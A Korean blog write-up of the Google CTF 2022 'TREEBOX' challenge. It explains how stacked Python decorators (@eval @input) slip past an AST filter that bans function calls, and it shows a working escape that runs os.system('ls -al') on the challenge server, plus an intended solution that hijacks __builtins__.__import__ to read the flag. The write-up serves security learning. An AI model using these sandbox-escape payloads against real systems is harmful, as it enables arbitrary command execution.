티스토리 뷰

보안/CTF

[GoogleCTF2022] TREEBOX Writeup(문제풀이)

돔돔이부하 2022. 7. 4. 04:47
반응형

문제 개요

Python Sandbox Escape(PyJail Break)

코드 분석

우선 문제에서는 파이썬 코드가 주어졌는데요. 최상단에 보면 python3 으로 실행한다고 되어 있습니다.

#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
#   FROM ubuntu:22.04
#   RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

sys.stdin.readline() 함수에서 사용자로부터 입력을 받고 그 입력된 내용들을 compile 함수의 소스코드 변수에 파라미터로 넘겨줍니다. 그리고 ast 모듈로 사용자가 입력한 소스코드로부터 import 나 from import 구분이나 함수를 호출하는 function call 의 경우 다 방어하는 코드임을 볼 수 있습니다.

 

다만 ast 코드를 보면 알겠지만, node 단위로 recursive 하게 찾아들어가서 해당 구문을 검사할 때 특정 delimiter 를 기준으로 검사하게 되는데 from import 나 import 는 그렇치고 function call 의 경우에는 당연하게도 괄호가 있는지를 검사합니다.

 

그럼 이제 여기서 필요한 것은 괄호 없이 함수를 호출하는 방법이 필요하게 된다는 것을 알 수 있게 해주는 대목입니다.

 

Python은 3 버전을 사용하는 것으로 보이니, python3을 잘 모르는 저로서는 python documentation 을 찾아볼 수밖에 없었는데요.

https://docs.python.org/3.10/glossary.html#term-decorator

 

Glossary — Python 3.10.5 documentation

The implicit conversion of an instance of one type to another during an operation which involves two arguments of the same type. For example, int(3.15) converts the floating point number to the integer 3, but in 3+4.5, each argument is of a different type

docs.python.org

위 링크를 같이 보시죠.

 

python 에서 decorator 라는 것을 웹개발하다보면 많이 보셨을 겁니다. flask 에서 decorator 많이 사용했던 걸로 기억합니다. 위 문서에도 나와있다시피 decorator 는 어떻게 동작하는지 간단하게 살펴보겠습니다.

def f(arg):
    ...
f = staticmethod(f)

@staticmethod
def f(arg):
    ...

문서에 나오는 코드를 그대로 가져왔는데요. 쉽게 말해서 아래의 코드는 위의 코드와 일치한다는 것입니다. 다시 말해 아래와 같은 형식인 거죠.

# f = print(f)

@print
def f(): pass

# <function f at 0x0000023D4E4BA9D0>

위 데코레이터의 실행은 위의 주석대로 f = print(f) 한 결과가 나온 것이고 그 결과 값으로 아래 주석문의 문자열이 콘솔 상에 출력됩니다. f라는 이름의 함수의 레퍼런스가 출력된 것이죠.

 

그럼 decorator 를 여러 개를 중첩해보면 어떨까요?

# f = print(input(f))

@print
@input
def f(): pass

위 코드를 실행하게 되면 아래와 같습니다.

C:\Users\domdomi\googleCTF2022\treebox>python test.py
<function f at 0x0000021E9CBFA9D0>domdomi
domdomi

print 함수의 반환 값은 없으니깐 f 변수의 값에는 None 이 들어가겠죠.

 

그럼 이제 관건은 위 코드가 과연 ast 모듈의 function call 을 피해갈 수 있는지가 궁금합니다.

<ast.Module object at 0x000001E8163E0E50>
<ast.FunctionDef object at 0x000001E8163E0B20>
<ast.arguments object at 0x000001E8163E0640>
<ast.Pass object at 0x000001E8163E0790>
<ast.Name object at 0x000001E8163E08B0>
<ast.Name object at 0x000001E8163E09A0>
<ast.Load object at 0x000001E8164092B0>
<ast.Load object at 0x000001E8164092B0>

다행히 어느 것 하나 ast.Call 로 인식하는 것이 없어보입니다!

 

이로써 decorator 를 활용한 임의 함수 실행(arbitrary code execution)이 가능해집니다.

 

문제 풀이

@eval
@input
class f: pass
--END

사용자의 input 으로 받은 문자열을 eval 함수에 넘겨주어서 실행시켜주었습니다.

C:\Users\Domdomi>ncat treebox.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
-- Please enter code (last line must contain only --END)
@eval
@input
class f: pass
--END
-- Executing safe code:
<class '__main__.f'>os.system('ls -al')
total 16
drwxr-xr-x 2 nobody nogroup 4096 Jun 28 12:22 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 28 12:22 ..
-rw-r--r-- 1 nobody nogroup   29 Jun 28 12:14 flag
-rwxr-xr-x 1 nobody nogroup 1474 Jun 28 12:14 treebox.py

위와 같이 ls -al 명령이 정상적으로 실행된 것이 보입니다. 그리고 flag 파일을 출력시켜주면 문제는 풀리게 됩니다.

 

기존에는 python sandbox escape 나 python jail break 라고 하면 대부분 jinja SSTI에서 많이 볼 수 있는 상위 object 나 module 로부터 다시 하위 모듈을 import 해와서 특정 함수를 실행한다던가, os 나 sys와 같은 악의적인 공격 가능성이 존재하는 모듈을 import 해올 때의 문자열 filtering bypass 를 한다던가 등의 방법을 써왔었는데, 이번처럼 ast(Abstract Syntax Tree) 모듈로 막은 것을 우회하는 경우는 처음 풀어봐서 무척이나 흥미로웠던 것 같았습니다.

 

Google CTF 2022 는 하면서 많은 문제를 풀지 못했지만, 그래도 배운 점이 무척이나 많다는 것을 느낍니다.

Google Security Engineer 들은 정말 천재인 것 같습니다! 좋은 문제 많이 만들어줘서 정말 감사함을 느낍니다!

 

- 끝 -

 

- 추가 -

의도한 답은 아래와 같다고 하네요. 대체 어떤 원리로 이렇게 되는지 공부해볼 필요가 있겠습니다.

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

 

반응형
댓글
댓글쓰기 폼